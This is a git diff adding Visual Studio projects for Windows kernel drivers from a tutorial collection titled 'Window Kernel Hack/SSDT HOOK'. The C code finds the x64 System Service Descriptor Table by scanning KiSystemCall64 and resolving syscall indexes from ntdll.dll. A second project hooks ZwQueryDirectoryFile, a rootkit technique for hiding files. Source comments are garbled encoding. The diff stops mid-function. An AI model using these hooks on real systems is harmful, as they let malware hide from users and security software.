Release|Win32 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win8.1 Release|x64.ActiveCfg = Win8.1 Release|x64 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win8.1 Release|x64.Build.0 = Win8.1 Release|x64 + {778AE982-0F4E-4026-972D-5F78A7C1494E}.Win8.1 Release|x64.Deploy.0 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test.v12.suo" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test.v12.suo" new file mode 100644 index 0000000..32a626e Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test.v12.suo" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test/Driver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test/Driver.c" new file mode 100644 index 0000000..f5ed0a1 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test/Driver.c" @@ -0,0 +1,38 @@ +#include "Driver.h" +#include "SSDTFunction.h" + + +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) +{ + DbgPrint("Enter DriverEntry\n"); + + NTSTATUS status = STATUS_SUCCESS; + pDriverObject->DriverUnload = DriverUnload; + for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) + { + pDriverObject->MajorFunction[i] = DriverDefaultHandle; + } + + // ȡ SSDT ַ + GetSSDTFunction("NtOpenProcess"); + + DbgPrint("Leave DriverEntry\n"); + return status; +} + + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject) +{ +} + + +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + NTSTATUS status = STATUS_SUCCESS; + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + return status; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test/Driver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test/Driver.h" new file mode 100644 index 0000000..0822089 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test/Driver.h" @@ -0,0 +1,12 @@ +#ifndef _DRIVER_H_ +#define _DRIVER_H_ + + +#include + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject); +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test/SSDTFunction.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test/SSDTFunction.c" new file mode 100644 index 0000000..d606848 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test/SSDTFunction.c" @@ -0,0 +1,178 @@ +#include "SSDTFunction.h" + + +// ȡ SSDT ַ +PVOID GetSSDTFunction(PCHAR pszFunctionName) +{ + UNICODE_STRING ustrDllFileName; + ULONG ulSSDTFunctionIndex = 0; + PVOID pFunctionAddress = NULL; + PSSDTEntry pServiceDescriptorTable = NULL; + ULONG ulOffset = 0; + + RtlInitUnicodeString(&ustrDllFileName, L"\\??\\C:\\Windows\\System32\\ntdll.dll"); + // ntdll.dll лȡ SSDT + ulSSDTFunctionIndex = GetSSDTFunctionIndex(ustrDllFileName, pszFunctionName); + + // , KiSystemCall64 лȡ SSDT ַ + pServiceDescriptorTable = GetSSDTAddress(); + + // , SSDTлȡӦƫƵַַ + ulOffset = pServiceDescriptorTable->ServiceTableBase[ulSSDTFunctionIndex] >> 4; + pFunctionAddress = (PVOID)((PUCHAR)pServiceDescriptorTable->ServiceTableBase + ulOffset); + + // ʾ + DbgPrint("[%s][SSDT Addr:0x%p][Index:%d][Address:0x%p]\n", pszFunctionName, pServiceDescriptorTable, ulSSDTFunctionIndex, pFunctionAddress); + + return pFunctionAddress; +} + + +// , KiSystemCall64 лȡ SSDT ַ +PVOID GetSSDTAddress() +{ + PVOID pServiceDescriptorTable = NULL; + PVOID pKiSystemCall64 = NULL; + UCHAR ulCode1 = 0; + UCHAR ulCode2 = 0; + UCHAR ulCode3 = 0; + // עʹз + LONG lOffset = 0; + + // ȡ KiSystemCall64 ַ + pKiSystemCall64 = (PVOID)__readmsr(0xC0000082); + // 4C8D15 + for (ULONG i = 0; i < 1024; i++) + { + // ȡڴ + ulCode1 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i)); + ulCode2 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i + 1)); + ulCode3 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i + 2)); + // ж + if (0x4C == ulCode1 && + 0x8D == ulCode2 && + 0x15 == ulCode3) + { + // ȡƫ + lOffset = *((PLONG)((PUCHAR)pKiSystemCall64 + i + 3)); + // ƫƼַ + pServiceDescriptorTable = (PVOID)(((PUCHAR)pKiSystemCall64 + i) + 7 + lOffset); + break; + } + } + + return pServiceDescriptorTable; +} + + +// ntdll.dll лȡ SSDT +ULONG GetSSDTFunctionIndex(UNICODE_STRING ustrDllFileName, PCHAR pszFunctionName) +{ + ULONG ulFunctionIndex = 0; + NTSTATUS status = STATUS_SUCCESS; + HANDLE hFile = NULL; + HANDLE hSection = NULL; + PVOID pBaseAddress = NULL; + + // ڴӳļ + status = DllFileMap(ustrDllFileName, &hFile, &hSection, &pBaseAddress); + if (!NT_SUCCESS(status)) + { + KdPrint(("DllFileMap Error!\n")); + return ulFunctionIndex; + } + + // ݵȡַ, Ӷȡ SSDT + ulFunctionIndex = GetIndexFromExportTable(pBaseAddress, pszFunctionName); + + // ͷ + ZwUnmapViewOfSection(NtCurrentProcess(), pBaseAddress); + ZwClose(hSection); + ZwClose(hFile); + + return ulFunctionIndex; +} + +// ڴӳļ +NTSTATUS DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress) +{ + NTSTATUS status = STATUS_SUCCESS; + HANDLE hFile = NULL; + HANDLE hSection = NULL; + OBJECT_ATTRIBUTES objectAttributes = { 0 }; + IO_STATUS_BLOCK iosb = { 0 }; + PVOID pBaseAddress = NULL; + SIZE_T viewSize = 0; + // DLL ļ, ȡļ + InitializeObjectAttributes(&objectAttributes, &ustrDllFileName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); + status = ZwOpenFile(&hFile, GENERIC_READ, &objectAttributes, &iosb, + FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); + if (!NT_SUCCESS(status)) + { + KdPrint(("ZwOpenFile Error! [error code: 0x%X]", status)); + return status; + } + // һڶ, PE ṹе SectionALignment Сӳļ + status = ZwCreateSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE, NULL, 0, PAGE_READWRITE, 0x1000000, hFile); + if (!NT_SUCCESS(status)) + { + ZwClose(hFile); + KdPrint(("ZwCreateSection Error! [error code: 0x%X]", status)); + return status; + } + // ӳ䵽ڴ + status = ZwMapViewOfSection(hSection, NtCurrentProcess(), &pBaseAddress, 0, 1024, 0, &viewSize, ViewShare, MEM_TOP_DOWN, PAGE_READWRITE); + if (!NT_SUCCESS(status)) + { + ZwClose(hSection); + ZwClose(hFile); + KdPrint(("ZwMapViewOfSection Error! [error code: 0x%X]", status)); + return status; + } + + // + *phFile = hFile; + *phSection = hSection; + *ppBaseAddress = pBaseAddress; + + return status; +} + +// ݵȡַ, Ӷȡ SSDT +ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName) +{ + ULONG ulFunctionIndex = 0; + // Dos Header + PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBaseAddress; + // NT Header + PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((PUCHAR)pDosHeader + pDosHeader->e_lfanew); + // Export Table + PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress); + // Ƶĵ + ULONG ulNumberOfNames = pExportTable->NumberOfNames; + // Ƶַ + PULONG lpNameArray = (PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfNames); + PCHAR lpName = NULL; + // ʼ + for (ULONG i = 0; i < ulNumberOfNames; i++) + { + lpName = (PCHAR)((PUCHAR)pDosHeader + lpNameArray[i]); + // жǷҵĺ + if (0 == _strnicmp(pszFunctionName, lpName, strlen(pszFunctionName))) + { + // ȡַ + USHORT uHint = *(USHORT *)((PUCHAR)pDosHeader + pExportTable->AddressOfNameOrdinals + 2 * i); + ULONG ulFuncAddr = *(PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfFunctions + 4 * uHint); + PVOID lpFuncAddr = (PVOID)((PUCHAR)pDosHeader + ulFuncAddr); + // ȡ SSDT Index +#ifdef _WIN64 + ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 4); +#else + ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 1); +#endif + break; + } + } + + return ulFunctionIndex; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test/SSDTFunction.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test/SSDTFunction.h" new file mode 100644 index 0000000..29212c1 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test/SSDTFunction.h" @@ -0,0 +1,34 @@ +#ifndef _SSDT_FUNCTION_H_ +#define _SSDT_FUNCTION_H_ + + +#include +#include + + +#pragma pack(1) +typedef struct _SERVICE_DESCIPTOR_TABLE +{ + PULONG ServiceTableBase; // SSDTַ + PVOID ServiceCounterTableBase; // SSDTз񱻵ô + ULONGLONG NumberOfService; // SSDT + PVOID ParamTableBase; // ϵͳַ +}SSDTEntry, *PSSDTEntry; +#pragma pack() + + +// ȡ SSDT ַ +PVOID GetSSDTFunction(PCHAR pszFunctionName); + +// , KiSystemCall64 лȡ SSDT ַ +PVOID GetSSDTAddress(); + +// ntdll.dll лȡ SSDT +ULONG GetSSDTFunctionIndex(UNICODE_STRING ustrDllFileName, PCHAR pszFunctionName); +// ڴӳļ +NTSTATUS DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress); +// ݵȡַ, Ӷȡ SSDT +ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test/SSDTFunction_64_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test/SSDTFunction_64_Test.inf" new file mode 100644 index 0000000..2941001 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test/SSDTFunction_64_Test.inf" @@ -0,0 +1,32 @@ +; +; SSDTFunction_64_Test.inf +; + +[Version] +Signature="$WINDOWS NT$" +Class= +ClassGuid= +Provider= +DriverVer= +CatalogFile= + +[DestinationDirs] +DefaultDestDir = 12 + + +[SourceDisksNames] +1 = %DiskName%,,,"" + +[SourceDisksFiles] + + +[Manufacturer] +%ManufacturerName%=Standard,NT$ARCH$ + +[Standard.NT$ARCH$] + + +[Strings] +ManufacturerName="" +ClassName="" +DiskName="SSDTFunction_64_Test Source Disk" diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test/SSDTFunction_64_Test.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test/SSDTFunction_64_Test.vcxproj" new file mode 100644 index 0000000..4a0e779 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test/SSDTFunction_64_Test.vcxproj" @@ -0,0 +1,248 @@ + + + + + Win8.1 Debug + Win32 + + + Win8.1 Release + Win32 + + + Win8 Debug + Win32 + + + Win8 Release + Win32 + + + Win7 Debug + Win32 + + + Win7 Release + Win32 + + + Win8.1 Debug + x64 + + + Win8.1 Release + x64 + + + Win8 Debug + x64 + + + Win8 Release + x64 + + + Win7 Debug + x64 + + + Win7 Release + x64 + + + + {778AE982-0F4E-4026-972D-5F78A7C1494E} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 11.0 + Win8.1 Debug + Win32 + SSDTFunction_64_Test + + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + Level3 + + + + + false + + + false + + + + + Level4 + + + + + true + + + true + + + + + Level3 + + + + + false + + + false + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test/SSDTFunction_64_Test.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test/SSDTFunction_64_Test.vcxproj.filters" new file mode 100644 index 0000000..b2197f0 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test/SSDTFunction_64_Test.vcxproj.filters" @@ -0,0 +1,42 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Driver Files + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test/SSDTFunction_64_Test.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test/SSDTFunction_64_Test.vcxproj.user" new file mode 100644 index 0000000..0897b59 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTFunction_64_Test/SSDTFunction_64_Test/SSDTFunction_64_Test.vcxproj.user" @@ -0,0 +1,12 @@ + + + + Off + + + TestSign + + + Off + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test.sln" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test.sln" new file mode 100644 index 0000000..f309d0a --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test.sln" @@ -0,0 +1,64 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SSDTHook_ZwQueryDirectoryFile_Test", "SSDTHook_ZwQueryDirectoryFile_Test\SSDTHook_ZwQueryDirectoryFile_Test.vcxproj", "{271A7C17-CB52-47C7-B0A6-B564C63D6911}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Win7 Debug|Win32 = Win7 Debug|Win32 + Win7 Debug|x64 = Win7 Debug|x64 + Win7 Release|Win32 = Win7 Release|Win32 + Win7 Release|x64 = Win7 Release|x64 + Win8 Debug|Win32 = Win8 Debug|Win32 + Win8 Debug|x64 = Win8 Debug|x64 + Win8 Release|Win32 = Win8 Release|Win32 + Win8 Release|x64 = Win8 Release|x64 + Win8.1 Debug|Win32 = Win8.1 Debug|Win32 + Win8.1 Debug|x64 = Win8.1 Debug|x64 + Win8.1 Release|Win32 = Win8.1 Release|Win32 + Win8.1 Release|x64 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win7 Debug|Win32.ActiveCfg = Win7 Debug|Win32 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win7 Debug|Win32.Build.0 = Win7 Debug|Win32 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win7 Debug|Win32.Deploy.0 = Win7 Debug|Win32 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win7 Debug|x64.ActiveCfg = Win7 Debug|x64 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win7 Debug|x64.Build.0 = Win7 Debug|x64 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win7 Debug|x64.Deploy.0 = Win7 Debug|x64 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win7 Release|Win32.ActiveCfg = Win7 Release|Win32 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win7 Release|Win32.Build.0 = Win7 Release|Win32 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win7 Release|Win32.Deploy.0 = Win7 Release|Win32 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win7 Release|x64.ActiveCfg = Win7 Release|x64 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win7 Release|x64.Build.0 = Win7 Release|x64 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win7 Release|x64.Deploy.0 = Win7 Release|x64 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win8 Debug|Win32.ActiveCfg = Win8 Debug|Win32 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win8 Debug|Win32.Build.0 = Win8 Debug|Win32 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win8 Debug|Win32.Deploy.0 = Win8 Debug|Win32 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win8 Debug|x64.ActiveCfg = Win8 Debug|x64 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win8 Debug|x64.Build.0 = Win8 Debug|x64 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win8 Debug|x64.Deploy.0 = Win8 Debug|x64 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win8 Release|Win32.ActiveCfg = Win8 Release|Win32 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win8 Release|Win32.Build.0 = Win8 Release|Win32 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win8 Release|Win32.Deploy.0 = Win8 Release|Win32 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win8 Release|x64.ActiveCfg = Win8 Release|x64 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win8 Release|x64.Build.0 = Win8 Release|x64 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win8 Release|x64.Deploy.0 = Win8 Release|x64 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win8.1 Debug|Win32.ActiveCfg = Win8.1 Debug|Win32 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win8.1 Debug|Win32.Build.0 = Win8.1 Debug|Win32 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win8.1 Debug|Win32.Deploy.0 = Win8.1 Debug|Win32 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win8.1 Debug|x64.ActiveCfg = Win8.1 Debug|x64 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win8.1 Debug|x64.Build.0 = Win8.1 Debug|x64 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win8.1 Debug|x64.Deploy.0 = Win8.1 Debug|x64 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win8.1 Release|Win32.ActiveCfg = Win8.1 Release|Win32 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win8.1 Release|Win32.Build.0 = Win8.1 Release|Win32 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win8.1 Release|Win32.Deploy.0 = Win8.1 Release|Win32 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win8.1 Release|x64.ActiveCfg = Win8.1 Release|x64 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win8.1 Release|x64.Build.0 = Win8.1 Release|x64 + {271A7C17-CB52-47C7-B0A6-B564C63D6911}.Win8.1 Release|x64.Deploy.0 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test.v12.suo" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test.v12.suo" new file mode 100644 index 0000000..0711339 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test.v12.suo" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/Driver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/Driver.c" new file mode 100644 index 0000000..55d52eb --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/Driver.c" @@ -0,0 +1,40 @@ +#include "SSDTHook.h" +#include "Driver.h" + + +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) +{ + DbgPrint("Enter DriverEntry\n"); + + NTSTATUS status = STATUS_SUCCESS; + pDriverObject->DriverUnload = DriverUnload; + for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) + { + pDriverObject->MajorFunction[i] = DriverDefaultHandle; + } + + // SSDT Hook + SSDTHook(); + + DbgPrint("Leave DriverEntry\n"); + return status; +} + + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject) +{ + // SSDT Unhook + SSDTUnhook(); +} + + +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + NTSTATUS status = STATUS_SUCCESS; + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + return status; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/Driver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/Driver.h" new file mode 100644 index 0000000..0822089 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/Driver.h" @@ -0,0 +1,12 @@ +#ifndef _DRIVER_H_ +#define _DRIVER_H_ + + +#include + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject); +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/SSDTFunction.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/SSDTFunction.c" new file mode 100644 index 0000000..567ab4c --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/SSDTHook_ZwQueryDirectoryFile_Test/SSDTHook_ZwQueryDirectoryFile_Test/SSDTFunction.c" @@ -0,0 +1,135 @@ +#include "SSDTFunction.h" + + +// ȡ SSDT ַ +PVOID GetSSDTFunction(PCHAR pszFunctionName) +{ + UNICODE_STRING ustrDllFileName; + ULONG ulSSDTFunctionIndex = 0; + PVOID pFunctionAddress = NULL; + + RtlInitUnicodeString(&ustrDllFileName, L"\\??\\C:\\Windows\\System32\\ntdll.dll"); + // ntdll.dll лȡ SSDT + ulSSDTFunctionIndex = GetSSDTFunctionIndex(ustrDllFileName, pszFunctionName); + + // , SSDTлȡӦַ + pFunctionAddress = (PVOID)KeServiceDescriptorTable.ServiceTableBase[ulSSDTFunctionIndex]; + + // ʾ +// DbgPrint("[%s][Index:%d][Address:0x%p]\n", pszFunctionName, ulSSDTFunctionIndex, pFunctionAddress); + + return pFunctionAddress; +} + + +// ntdll.dll лȡ SSDT +ULONG GetSSDTFunctionIndex(UNICODE_STRING ustrDllFileName, PCHAR pszFunctionName) +{ + ULONG ulFunctionIndex = 0; + NTSTATUS status = STATUS_SUCCESS; + HANDLE hFile = NULL; + HANDLE hSection = NULL; + PVOID pBaseAddress = NULL; + + // ڴӳļ + status = DllFileMap(ustrDllFileName, &hFile, &hSection, &pBaseAddress); + if (!NT_SUCCESS(status)) + { + KdPrint(("DllFileMap Error!\n")); + return ulFunctionIndex; + } + + // ݵȡַ, Ӷȡ SSDT + ulFunctionIndex = GetIndexFromExportTable(pBaseAddress, pszFunctionName); + + // ͷ + ZwUnmapViewOfSection(NtCurrentProcess(), pBaseAddress); + ZwClose(hSection); + ZwClose(hFile); + + return ulFunctionIndex; +} + +// ڴӳļ +NTSTATUS 